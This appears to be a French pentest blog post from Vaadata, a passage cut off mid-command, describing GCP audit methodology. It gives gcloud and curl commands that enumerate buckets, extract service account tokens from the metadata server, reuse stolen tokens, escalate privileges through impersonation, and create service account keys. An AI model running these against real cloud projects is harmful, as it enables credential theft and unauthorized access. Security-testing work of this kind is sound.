{"id":13924,"date":"2025-09-09T12:05:40","date_gmt":"2025-09-09T10:05:40","guid":{"rendered":"https:\/\/www.vaadata.com\/blog\/?p=13924"},"modified":"2025-09-10T10:35:55","modified_gmt":"2025-09-10T08:35:55","slug":"audit-gcp-methodologie-types-de-tests-et-use-cases","status":"publish","type":"post","link":"https:\/\/www.vaadata.com\/blog\/fr\/audit-gcp-methodologie-types-de-tests-et-use-cases\/","title":{"rendered":"Audit GCP\u00a0: m\u00e9thodologie, types de tests et use cases"},"content":{"rendered":"<div class=\"wp-block-image\">\n<figure class=\"alignright size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"535\" src=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/audit-gcp-1024x535.png\" alt=\"Audit GCP\u00a0: m\u00e9thodologie, types de tests et use cases\" class=\"wp-image-13925\" style=\"width:444px;height:auto\" srcset=\"https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/audit-gcp-1024x535.png 1024w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/audit-gcp-300x157.png 300w, https:\/\/www.vaadata.com\/blog\/wp-content\/uploads\/2025\/09\/audit-gcp-1536x803.png 1536w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div>\n\n\n<p>L\u2019audit de s\u00e9curit\u00e9 d\u2019une infrastructure GCP (Google Cloud Platform) et des applications web qui y sont d\u00e9ploy\u00e9es est une \u00e9tape cl\u00e9 pour identifier les vuln\u00e9rabilit\u00e9s et renforcer la r\u00e9silience face aux attaques. <\/p>\n\n\n\n<p>Cet article pr\u00e9sente la m\u00e9thodologie adopt\u00e9e lors d\u2019un audit d&rsquo;une infra GCP, les principaux types de tests r\u00e9alis\u00e9s ainsi que des cas concrets.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h2 class=\"wp-block-heading\">Guide complet sur l&rsquo;audit GCP<\/h2>\n\n\n<div class=\"wp-block-aioseo-table-of-contents\"><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-methodologie-et-deroulement-dun-audit-gcp\">M\u00e9thodologie et d\u00e9roulement d\u2019un audit GCP<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-pentest-dun-bucket-google-storage\">Pentest d\u2019un bucket Google Storage<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-bucket-public-ouvert-a-tous\">Bucket public (ouvert \u00e0 tous)<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-acces-anonyme-restreint-tout-utilisateur-google\">Acc\u00e8s anonyme restreint (tout utilisateur Google)<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-acces-au-bucket-via-un-service-account-compromis\">Acc\u00e8s au bucket via un Service Account compromis<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-analyse-des-serveurs-de-metadata-sur-gcp\">Analyse des serveurs de Metadata sur GCP<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-acces-au-serveur-de-metadata\">Acc\u00e8s au serveur de metadata<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exploitation-des-metadata\">Exploitation des metadata<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-comptes-de-services-service-accounts\">Comptes de services (Service Accounts)<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-startup-scripts-et-guest-attributes\">Startup scripts et Guest attributes<\/a><\/li><\/ul><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exploiter-un-compte-de-service-explorer-linfrastructure-cloud\">Exploiter un compte de service : explorer l\u2019infrastructure cloud<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-lister-les-permissions-associees-au-sa\">Lister les permissions associ\u00e9es au SA<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exploiter-les-permissions\">Exploiter les permissions<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-privesc-elevation-de-privileges\">Privesc (\u00e9l\u00e9vation de privil\u00e8ges)<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-collecter-des-donnees-avec-les-permissions-disponibles\">Collecter des donn\u00e9es avec les permissions disponibles<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-permissions-scopees-sur-des-ressources\">Permissions scop\u00e9es sur des ressources<\/a><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exploiter-une-instance-rce-et-post-exploitation\">Exploiter une instance : RCE et post-exploitation<\/a><ul><li><a class=\"aioseo-toc-item\" href=\"#aioseo-recherche-dinformations-utiles-ou-sensibles\">Recherche d\u2019informations utiles ou sensibles<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-analyse-du-reseau-interne\">Analyse du r\u00e9seau interne<\/a><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-exploiter-les-comptes-de-service-presents-sur-linstance\">Exploiter les comptes de service pr\u00e9sents sur l\u2019instance<\/a><\/li><\/ul><\/li><\/ul><\/li><li><a class=\"aioseo-toc-item\" href=\"#aioseo-conclusion\">Conclusion<\/a><\/li><\/ul><\/div>\n\n\n<h2 class=\"wp-block-heading\" id=\"aioseo-methodologie-et-deroulement-dun-audit-gcp\">M\u00e9thodologie et d\u00e9roulement d\u2019un audit GCP<\/h2>\n\n\n\n<p>Lors d\u2019un <a href=\"https:\/\/www.vaadata.com\/blog\/fr\/test-dintrusion-web-objectifs-methodologie-tests-en-boite-noire-grise-et-blanche\/\" target=\"_blank\" rel=\"noopener\" title=\"\">audit de s\u00e9curit\u00e9 web<\/a>, un environnement GCP peut se pr\u00e9senter de deux mani\u00e8res principales :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>soit le serveur web ou l\u2019application sont directement h\u00e9berg\u00e9s sur des instances GCP (Compute Engine, App Engine, Cloud Functions, etc.) ;<\/li>\n\n\n\n<li>soit l\u2019application s\u2019appuie sur des services Google Cloud tels que le CDN, Cloud SQL, Cloud Storage, etc.<\/li>\n<\/ul>\n\n\n\n<p>Dans les deux cas, la r\u00e9ussite de l\u2019audit repose sur des connaissances sp\u00e9cifiques permettant de tester efficacement ces diff\u00e9rents \u00e9l\u00e9ments.<\/p>\n\n\n\n<p>Dans cette section, nous allons passer en revue plusieurs sc\u00e9narios courants et proposer une m\u00e9thodologie structur\u00e9e, issue de la pratique. <\/p>\n\n\n\n<p>\u00c9tant donn\u00e9 la richesse de l\u2019\u00e9cosyst\u00e8me GCP et la diversit\u00e9 des configurations possibles, la d\u00e9marche pr\u00e9sent\u00e9e ne pr\u00e9tend pas couvrir tous les cas. Elle vise plut\u00f4t \u00e0 fournir un cadre g\u00e9n\u00e9ral, suffisamment flexible pour \u00eatre adapt\u00e9 selon votre contexte.<\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-34c1248dbb65d0fb648ff7811e7a802f\" id=\"aioseo-pentest-dun-bucket-google-storage\" style=\"color:#c0b800\">Pentest d\u2019un bucket Google Storage<\/h3>\n\n\n\n<p>Lors d\u2019un test d\u2019intrusion, il est fr\u00e9quent de rencontrer un bucket Google Storage :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>soit parce que des fichiers sont stock\u00e9s et accessibles via l\u2019application web,<\/li>\n\n\n\n<li>soit parce que la plateforme permet l\u2019upload de fichiers.<\/li>\n<\/ul>\n\n\n\n<p>Dans ce cas, plusieurs approches peuvent \u00eatre utilis\u00e9es pour \u00e9valuer le niveau de s\u00e9curit\u00e9 du bucket.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-bucket-public-ouvert-a-tous\">Bucket public (ouvert \u00e0 tous)<\/h4>\n\n\n\n<p>Si le bucket est totalement public, vous pouvez tester l\u2019acc\u00e8s avec un navigateur ou avec <a href=\"https:\/\/curl.se\/\" target=\"_blank\" rel=\"noopener\" title=\"\">curl<\/a> :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u00c9num\u00e9rer les fichiers<\/strong> :<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;storage.googleapis.com\/&lt;storage-name&gt;\/<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Acc\u00e9der directement \u00e0 un fichier<\/strong> :<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;storage.googleapis.com\/&lt;storage-name&gt;\/&lt;path&gt;\/&lt;file&gt;<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Lister les autorisations IAM du bucket<\/strong> :<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;www.googleapis.com\/storage\/v1\/b\/&lt;storage-name&gt;\/iam<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Tester en bruteforce les permissions associ\u00e9es<\/strong> (m\u00eame si la commande pr\u00e9c\u00e9dente \u00e9choue) :<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>https:&#47;&#47;www.googleapis.com\/storage\/v1\/b\/&lt;storage-name&gt;\/iam\/testPermissions?permissions=storage.buckets.delete&amp;permissions=storage.buckets.get&amp;permissions=storage.buckets.getIamPolicy&amp;permissions=storage.buckets.setIamPolicy&amp;permissions=storage.buckets.update&amp;permissions=storage.objects.create&amp;permissions=storage.objects.delete&amp;permissions=storage.objects.get&amp;permissions=storage.objects.list&amp;permissions=storage.objects.update<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-acces-anonyme-restreint-tout-utilisateur-google\">Acc\u00e8s anonyme restreint (tout utilisateur Google)<\/h4>\n\n\n\n<p>Dans certains cas, l\u2019acc\u00e8s n\u2019est pas public, mais reste possible \u00e0 partir de tout compte Google. Il faut alors tester si vous pouvez lister ou t\u00e9l\u00e9charger les contenus via un compte utilisateur basique.<\/p>\n\n\n\n<p>Pour ce faire, il est n\u00e9cessaire d&rsquo;initialiser le CLI avec un compte Google : <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud auth list\ngcloud config set account &lt;your-email&gt;<\/code><\/pre>\n\n\n\n<p>Si vous n\u2019avez jamais connect\u00e9 votre compte utilisateur sur <code>gcloud<\/code>, vous devrez le faire avec les commandes suivantes&nbsp;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud init\ngcloud auth login --no-launch-browser<\/code><\/pre>\n\n\n\n<p>Nous verrons plus tard qu\u2019il est \u00e9galement possible d\u2019utiliser des Services Accounts (par ex. en cas de vol de token) dans le CLI. Cela peut permettre d\u2019acc\u00e9der au bucket, si le compte en question dispose des droits.<\/p>\n\n\n\n<p><strong>Lister les documents du bucket : <\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud storage ls gs:\/\/&lt;storage-name&gt;\/\ngcloud storage ls gs:\/\/&lt;storage-name&gt;\/&lt;directory&gt;\/<\/code><\/pre>\n\n\n\n<p>Dans cet article, nous utilisons majoritairement le CLI gcloud. Il est \u00e9galement possible d\u2019utiliser gsutil, un wrapper de gcloud. Dans certains cas, nous proposerons \u00e9galement les commandes <code>gsutil<\/code> en exemple.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gsutil ls gs:\/\/&lt;storage-name&gt;\ngsutil ls gs:\/\/&lt;storage-name&gt;\/&lt;directory&gt;\/<\/code><\/pre>\n\n\n\n<p><strong>T\u00e9l\u00e9charger un fichier : <\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud storage cp gs:\/\/&lt;storage-name&gt;\/&lt;file&gt; .<\/code><\/pre>\n\n\n\n<p><strong>V\u00e9rifier les permissions IAM : <\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gsutil iam get gs:\/\/&lt;storage-name&gt;<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-acces-au-bucket-via-un-service-account-compromis\">Acc\u00e8s au bucket via un Service Account compromis<\/h4>\n\n\n\n<p>Si vous disposez d\u2019un token de Service Account ayant acc\u00e8s au bucket, vous pouvez initialiser le CLI avec ce compte, puis r\u00e9utiliser les m\u00eames commandes.<\/p>\n\n\n\n<p>Pour ce faire, il est n\u00e9cessaire d&rsquo;initialiser le CLI avec le token vol\u00e9 :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>export CLOUDSDK_AUTH_ACCESS_TOKEN=&lt;token&gt;<\/code><\/pre>\n\n\n\n<p>On peut ensuite interroger le bucket avec les m\u00eames commandes list\u00e9es dans la section pr\u00e9c\u00e9dente&nbsp;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gsutil ls gs:\/\/&lt;storage-name&gt;\n# etc.<\/code><\/pre>\n\n\n\n<p>Notez qu&rsquo;il est possible de v\u00e9rifier plusieurs buckets. En effet si vous avez r\u00e9cup\u00e9r\u00e9 une liste des buckets pr\u00e9sents sur le projet GCP, vous pouvez automatiser la v\u00e9rification d\u2019acc\u00e8s :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>while IFS= read -r i\ndo\n  echo $i :\n  gcloud storage ls gs:\/\/$i\ndone &lt; .\/storages.txt<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-822699d0125d519eb9bc2e598f5b22ce\" id=\"aioseo-analyse-des-serveurs-de-metadata-sur-gcp\" style=\"color:#c0b800\">Analyse des serveurs de Metadata sur GCP<\/h3>\n\n\n\n<p>Sur GCP, les serveurs de metadata sont accessibles via l\u2019adresse <code>169.254.169.254<\/code> ou l\u2019URL <code>http:\/\/metadata.google.internal\/<\/code>.<br>Ces serveurs sont consult\u00e9s par les instances GCP (par exemple une VM Compute Engine) afin de r\u00e9cup\u00e9rer :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>des informations sur l\u2019instance (hostname, zone g\u00e9ographique, etc.),<\/li>\n\n\n\n<li>des informations sur le projet GCP associ\u00e9,<\/li>\n\n\n\n<li>et les d\u00e9tails concernant le Service Account (SA) utilis\u00e9 par l\u2019instance.<\/li>\n<\/ul>\n\n\n\n<p>Lors d\u2019un audit, l\u2019exploitation de ce serveur permet de collecter des donn\u00e9es utiles, parfois sensibles.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-acces-au-serveur-de-metadata\">Acc\u00e8s au serveur de metadata<\/h4>\n\n\n\n<p>Deux sc\u00e9narios principaux permettent d\u2019interroger ce serveur :<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Exploitation d\u2019une vuln\u00e9rabilit\u00e9 SSRF<\/strong> : si l\u2019application pr\u00e9sente une <a href=\"https:\/\/www.vaadata.com\/blog\/fr\/comprendre-la-vulnerabilite-web-server-side-request-forgery-1\/\" target=\"_blank\" rel=\"noopener\" title=\"\">SSRF<\/a>, il est possible de la d\u00e9tourner pour atteindre <code>http:\/\/metadata.google.internal\/<\/code>.<\/li>\n\n\n\n<li><strong>Acc\u00e8s \u00e0 une machine compromise<\/strong> : si vous disposez d\u2019un acc\u00e8s (<a href=\"https:\/\/www.vaadata.com\/blog\/fr\/rce-remote-code-execution-exploitations-et-bonnes-pratiques-securite\/\" target=\"_blank\" rel=\"noopener\" title=\"\">RCE<\/a>, SSH, etc.) \u00e0 une instance GCP, vous pouvez effectuer directement des requ\u00eates HTTP vers le serveur de metadata.<\/li>\n<\/ol>\n\n\n\n<p>Depuis 2019, GCP impose la pr\u00e9sence de l\u2019en-t\u00eate <code>Metadata-Flavor: Google<\/code> pour accepter une requ\u00eate. Cette mesure rend les SSRF classiques inefficaces, sauf si une <a href=\"https:\/\/www.vaadata.com\/blog\/fr\/injection-crlf-principes-exploitations-et-bonnes-pratiques\/\" target=\"_blank\" rel=\"noopener\" title=\"\">injection CRLF<\/a> permet d\u2019ajouter l\u2019en-t\u00eate, ce qui reste peu probable.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-exploitation-des-metadata\">Exploitation des metadata<\/h4>\n\n\n\n<p>Si vous disposez d\u2019un acc\u00e8s \u00e0 une instance Compute Engine (via RCE ou shell), vous pouvez extraire plusieurs informations utiles :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><strong># Hostname de l\u2019instance<\/strong>\ncurl -H \"Metadata-Flavor: Google\" \"http:\/\/metadata.google.internal\/computeMetadata\/v1\/instance\/hostname\"\n\n<strong># Project ID<\/strong>\ncurl -H \"Metadata-Flavor: Google\" \"http:\/\/metadata.google.internal\/computeMetadata\/v1\/project\/project-id\"\n\n<strong># Zone<\/strong>\ncurl -H \"Metadata-Flavor: Google\" \"http:\/\/metadata.google.internal\/computeMetadata\/v1\/instance\/zone\"\n\n<strong># Interfaces r\u00e9seau<\/strong>\ncurl -H \"Metadata-Flavor: Google\" \"http:\/\/metadata.google.internal\/computeMetadata\/v1\/instance\/network-interfaces\/\"<\/code><\/pre>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"aioseo-comptes-de-services-service-accounts\">Comptes de services (Service Accounts)<\/h5>\n\n\n\n<p>Les Service Accounts sont particuli\u00e8rement sensibles : ils permettent d\u2019exploiter leurs privil\u00e8ges pour acc\u00e9der \u00e0 des ressources suppl\u00e9mentaires ou progresser dans l\u2019infrastructure.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Lister les SA disponibles sur l\u2019instance<\/strong> :<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -H \"Metadata-Flavor: Google\" \"http:\/\/metadata.google.internal\/computeMetadata\/v1\/instance\/service-accounts\/\"<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Extraire le token du SA par d\u00e9faut<\/strong> :<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -H \"Metadata-Flavor: Google\" \"http:\/\/metadata.google.internal\/computeMetadata\/v1\/instance\/service-accounts\/default\/token\"<\/code><\/pre>\n\n\n\n<p>Si plusieurs comptes de services sont configur\u00e9s, il est important de tous les collecter. Il est \u00e9galement int\u00e9ressant de v\u00e9rifier le p\u00e9rim\u00e8tre (scope) associ\u00e9 au compte de service&nbsp;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>curl -H \"Metadata-Flavor: Google\" \"http:\/\/metadata.google.internal\/computeMetadata\/v1\/instance\/service-accounts\/default\/scopes\"<\/code><\/pre>\n\n\n\n<p>Notez qu&rsquo;un scope critique est le suivant : <code>https:\/\/www.googleapis.com\/auth\/cloud-platform<\/code>. Il indique que le compte n\u2019est soumis \u00e0 aucune restriction et peut s\u2019authentifier aupr\u00e8s de toutes les API GCP.<\/p>\n\n\n\n<p>En revanche, si le scope est limit\u00e9 (par exemple <code>cloud-platform.read-only<\/code>), une \u00e9l\u00e9vation de privil\u00e8ges sera n\u00e9cessaire.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"aioseo-startup-scripts-et-guest-attributes\">Startup scripts et Guest attributes<\/h5>\n\n\n\n<p>Des donn\u00e9es sensibles peuvent aussi \u00eatre pr\u00e9sentes dans les startup scripts ou les guest attributes :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><strong># R\u00e9cup\u00e9rer les startup scripts<\/strong><br>curl -H \"Metadata-Flavor: Google\" \"http:\/\/metadata.google.internal\/computeMetadata\/v1\/instance\/attributes\/?recursive=true&amp;alt=text\"<br><br><strong># R\u00e9cup\u00e9rer les guest attributes<\/strong><br>curl -H \"Metadata-Flavor: Google\" \"http:\/\/metadata.google.internal\/computeMetadata\/v1\/instance\/guest-attributes\/\"<\/pre>\n\n\n\n<p>Pour une liste plus exhaustive des endpoints metadata exploitables, vous pouvez consulter la section d\u00e9di\u00e9e sur <a href=\"https:\/\/book.hacktricks.wiki\/en\/pentesting-web\/ssrf-server-side-request-forgery\/cloud-ssrf.html#gcp\" target=\"_blank\" rel=\"noopener\" title=\"\">HackTricks<\/a>. <\/p>\n\n\n\n<h3 class=\"wp-block-heading has-text-color has-link-color wp-elements-74bdb6347d803f6eee3a2debdb28c00b\" id=\"aioseo-exploiter-un-compte-de-service-explorer-linfrastructure-cloud\" style=\"color:#c0b800\">Exploiter un compte de service : explorer l\u2019infrastructure cloud<\/h3>\n\n\n\n<p>Si vous obtenez un compte de service (via une fuite de token ou une RCE), vous disposez d\u2019un levier puissant pour cartographier et exploiter l\u2019infrastructure GCP.<\/p>\n\n\n\n<p>La m\u00e9thodologie de test suit g\u00e9n\u00e9ralement trois \u00e9tapes :<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Lister les permissions associ\u00e9es au compte de service.<\/li>\n\n\n\n<li>Exploiter ces permissions :\n<ul class=\"wp-block-list\">\n<li>soit elles permettent une \u00e9l\u00e9vation de privil\u00e8ges (privesc),<\/li>\n\n\n\n<li>soit elles permettent de collecter des donn\u00e9es sensibles.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Tester les acc\u00e8s \u00e0 des ressources sp\u00e9cifiques (buckets, instances, autres SA).<\/li>\n<\/ol>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-lister-les-permissions-associees-au-sa\">Lister les permissions associ\u00e9es au SA<\/h4>\n\n\n\n<p>Il n\u2019existe pas de commande native pour afficher directement toutes les permissions d\u2019un compte de service. La solution consiste \u00e0 les bruteforcer, en testant chaque permission une \u00e0 une.<\/p>\n\n\n\n<p>Plusieurs scripts publics facilitent cette t\u00e2che. Par exemple : <a href=\"https:\/\/github.com\/NicholasSpringer\/thunder-ctf\/blob\/master\/scripts\/test-permissions.py\" target=\"_blank\" rel=\"noopener\" title=\"\">test-permissions.py (Thunder-CTF)<\/a><\/p>\n\n\n\n<p>Avant d\u2019ex\u00e9cuter le script, d\u00e9finissez la variable d\u2019environnement du projet :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">gcloud config set project [PROJECT_ID]<\/pre>\n\n\n\n<p>Lancez ensuite le script avec le token du compte de service :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 test-permissions.py $TOKEN<\/code><\/pre>\n\n\n\n<p>Le script retourne une liste de permissions actives. Exemple :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;'compute.addresses.list', 'compute.instances.list', 'compute.zones.list', 'iam.serviceAccounts.list', 'storage.buckets.list']<\/code><\/pre>\n\n\n\n<p>Le format peut varier selon le script, mais les informations obtenues restent similaires. Cette liste servira de base pour l\u2019exploitation.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-exploiter-les-permissions\">Exploiter les permissions<\/h4>\n\n\n\n<p>Pour utiliser le compte de service dans le CLI, d\u00e9finissez son token :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>export CLOUDSDK_AUTH_ACCESS_TOKEN=$TOKEN<\/code><\/pre>\n\n\n\n<p>Toutes les commandes <code>gcloud<\/code> seront alors ex\u00e9cut\u00e9es avec ce compte.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"aioseo-privesc-elevation-de-privileges\">Privesc (\u00e9l\u00e9vation de privil\u00e8ges)<\/h5>\n\n\n\n<p>Comme \u00e9nonc\u00e9 en introduction de cette section, deux cas de figure peuvent se pr\u00e9senter. Dans un cas, l\u2019une des permissions peut \u00eatre utilis\u00e9e directement pour privesc. Vous pouvez consulter une cheat sheet d\u00e9di\u00e9e pour identifier les permissions exploitables en privesc : <a href=\"https:\/\/cloud.hacktricks.wiki\/en\/pentesting-cloud\/gcp-security\/gcp-privilege-escalation\/gcp-iam-privesc.html\" target=\"_blank\" rel=\"noopener\" title=\"\">HackTricks \u2013 GCP Privilege Escalation<\/a>. <\/p>\n\n\n\n<p>Exemple : si la permission suivante appara\u00eet dans vos r\u00e9sultats :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>iam.serviceAccounts.getAccessToken<\/code><\/pre>\n\n\n\n<p>Cette permission permet d\u2019obtenir un jeton d\u2019acc\u00e8s pour n\u2019importe quel compte de service. L\u2019exploitation document\u00e9e est :<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud --impersonate-service-account=\"${victim}@${PROJECT_ID}.iam.gserviceaccount.com\" auth print-access-token<\/code><\/pre>\n\n\n\n<p>Cela vous donne un acc\u00e8s direct au compte cibl\u00e9. Si aucune permission ne permet de privesc, vous pouvez toujours utiliser ces permissions pour acc\u00e9der \u00e0 des donn\u00e9es. <\/p>\n\n\n\n<h5 class=\"wp-block-heading\" id=\"aioseo-collecter-des-donnees-avec-les-permissions-disponibles\">Collecter des donn\u00e9es avec les permissions disponibles<\/h5>\n\n\n\n<p>Si aucune permission critique ne permet une \u00e9l\u00e9vation, utilisez celles obtenues pour explorer l\u2019infrastructure.<\/p>\n\n\n\n<p>Exemple avec deux permissions :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>iam.serviceAccounts.list<\/code>. Documentation : <a href=\"https:\/\/cloud.google.com\/sdk\/gcloud\/reference\/iam\/service-accounts\/list\" target=\"_blank\" rel=\"noopener\" title=\"\">gcloud iam service-accounts list<\/a><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud iam service-accounts list<\/code><\/pre>\n\n\n\n<p>R\u00e9sultat&nbsp;: vous obtenez la liste de comptes de services existants sur le projet. Cette liste pourrait par exemple \u00eatre utilis\u00e9e dans le cas de privesc pr\u00e9sent\u00e9 pr\u00e9c\u00e9demment.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>storage.buckets.list<\/code>. Documentation : <a href=\"https:\/\/cloud.google.com\/sdk\/gcloud\/reference\/storage\/buckets\/list\" target=\"_blank\" rel=\"noopener\" title=\"\">gcloud storage buckets list<\/a><\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud storage buckets list<\/code><\/pre>\n\n\n\n<p>R\u00e9sultat&nbsp;: vous obtenez une liste des buckets (Google Storage) existants sur le projet, que vous pouvez ensuite tester.<\/p>\n\n\n\n<p>Note : Les permissions de listing sont int\u00e9ressantes afin de cartographier l\u2019infrastructure cloud. \u00c0 chaque fois que vous pouvez lister un type de ressource (par exemple ici les comptes des services et les buckets),&nbsp;<strong>gardez cette liste dans un fichier<\/strong>. <\/p>\n\n\n\n<p>Ces listes seront tr\u00e8s utiles lorsque vous tenterez d\u2019exploiter d\u2019autres privil\u00e8ges ou que vous chercherez \u00e0 acc\u00e9der \u00e0 des ressources. C\u2019est ce second point que nous allons voir maintenant.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\" id=\"aioseo-permissions-scopees-sur-des-ressources\">Permissions scop\u00e9es sur des ressources<\/h4>\n\n\n\n<p>Les permissions list\u00e9es ci-dessus sont g\u00e9n\u00e9ralement d\u00e9finies au niveau du projet. Toutefois, un compte peut aussi avoir des droits sp\u00e9cifiques sur certaines ressources individuelles.<\/p>\n\n\n\n<p>M\u00eame sans les permissions globales n\u00e9cessaires (comme <code>iam.roles.list<\/code> ou <code>iam.serviceAccounts.getIamPolicy<\/code>), vous pouvez tester vos acc\u00e8s par bruteforce sur les ressources d\u00e9j\u00e0 identifi\u00e9es.<\/p>\n\n\n\n<p>Voyons quelques exemples :<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Buckets Storage<\/strong> : tester l\u2019acc\u00e8s \u00e0 chaque bucket list\u00e9.<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>while IFS= read -r i\ndo\n  echo $i :\n  gcloud storage ls gs:\/\/$i\ndone &lt; .\/storages.txt<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Instances Compute Engine<\/strong> : tenter un acc\u00e8s SSH.<\/li>\n<\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud compute ssh --project=&lt;project-id&gt; --zone=&lt;zone&gt; &lt;instance-name&gt;<\/code><\/pre>\n\n\n\n<p>Seules les instances avec une IP externe sont accessibles, mais vous pouvez tester toutes les instances :<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">for i in $(gcloud compute instances list --format=\"table[no-heading]\"); do<br>  echo Trying SSH on $i:<br>  gcloud compute ssh --project=&lt;project-id&gt; --zone=&lt;zone&gt; $i<br>done<\/pre>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Service Accounts et gestion des cl\u00e9s<\/strong> :<\/li>\n<\/ul>\n\n\n\n<p>Si vous avez pu lister les comptes de service (<code>iam.serviceAccouts.list<\/code>), vous pouvez v\u00e9rifier si des cl\u00e9s existent&nbsp;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>for i in $(gcloud iam service-accounts list --format=\"table&#91;no-heading](email)\"); do\n  echo Looking for keys for $i:\n  gcloud iam service-accounts keys list --iam-account $i\ndone<\/code><\/pre>\n\n\n\n<p><strong>Cela ne permet pas de collecter les cl\u00e9s<\/strong> en question, mais c&rsquo;est un bon indice pour savoir sur quel compte de service vous pourriez potentiellement g\u00e9n\u00e9rer une cl\u00e9.<\/p>\n\n\n\n<p>Vous pouvez alors tenter de cr\u00e9er une cl\u00e9&nbsp;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud iam service-accounts keys create --iam-account &lt;SA-name&gt;@&lt;project-name&gt;.iam.gserviceaccount.com key.json<\/code><\/pre>\n\n\n\n<p>Si cela fonctionne, vous pouvez r\u00e9cup\u00e9rer l\u2019acc\u00e8s aux SA en important la cl\u00e9 dans votre CLI&nbsp;:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>gcloud auth activate-service-account 